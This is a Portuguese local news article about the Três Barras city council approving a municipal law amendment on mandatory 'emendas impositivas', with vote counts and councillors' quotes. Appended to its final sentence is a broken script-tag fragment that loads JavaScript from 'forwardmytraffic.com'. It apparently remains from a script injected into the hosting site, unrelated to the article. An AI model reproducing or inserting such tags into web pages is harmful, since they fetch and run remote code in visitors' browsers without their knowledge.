Os vereadores de Três Barras aprovaram na última segunda-feira, 04, a proposta de emenda à Lei Orgânica Municipal que acrescenta parágrafos ao artigo 105 e torna obrigatória a execução das emendas impositivas. O texto recebeu parecer favorável de todos os vereadores presentes na sessão. Por se tratar de alteração na legislação do município, a matéria precisava de pelo menos oito votos favoráveis.
A nova redação acrescenta nove parágrafos, onde estabelece que até 1,2% da receita corrente líquida seja destinada as emendas impositivas individuais, elaboradas pelos vereadores, das quais, 50% deverão ser destinadas exclusivamente a área da saúde.
A votação contou com o parecer favorável de Cerival Da Cruz, o Cidinho (DEM), presidente da casa que nestas questões também vota. Além dele, Edenilson Enguel (PSD); Ernani Wogeinaki Jr e João Canani (PSB); Dani Krailling e Marco Antônio de Souza (MDB); Siomara Muhlmann Correa (PP); e Laudecir José Gonçalves (PR); concordaram com a alteração. Não estiveram presentes na sessão os vereadores: Adilson Martins e Fabiano José Mendes (PSD); e Carla Mara Eufrásio Shimoguiri (PTB).
Ao discutir a matéria na sessão do último dia 16, quando passou pela primeira votação, o vereador autor Ernani Wogeinaki Jr , afirmou que o texto adéqua a lei municipal ao que está previsto na legislação federal. Segundo o edil a emenda vai “dar mais condições de o vereador auxiliar a população na delegação de obras”, destacou.
Já a vereadora Siomara alegou que o vereador terá mais “oportunidade de ajudar no que a comunidade pede”, comentou. Posição também defendida por Marco Antônio de Souza que destacou que a nova redação será uma “ferramenta”, no atendimento à população tresbarrense.
O Que Muda?
Atualmente o vereador tresbarrense tem papel fiscalizador e deliberativo, ou seja, cuida das ações do executivo e decide sobre os assuntos importantes a respeito da esfera pública do município. No entanto, ele não tem poder de execução, fazendo com que suas solicitações de intervenção, obras, ou melhorias na cidade, sejam exclusivamente destinadas via indicação, que pode ser atendida ou não, à critério do executivo.
Com a alteração na legislação ficam estabelecidas as emendas impositivas, editadas pelos próprios edis. Com elas, pretende-se democratizar a questão orçamentária, permitindo que o cidadão, através de seu vereador, possa influir na realização de ações/obras que considera importantes para a comunidade.
Na primeira justificativa, Ernani Jr destacou que “o vereador está junto da população no dia a dia, conhece os problemas, as necessidades e as emendas poderão auxiliar na resolução dessas demandas”, complementa…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>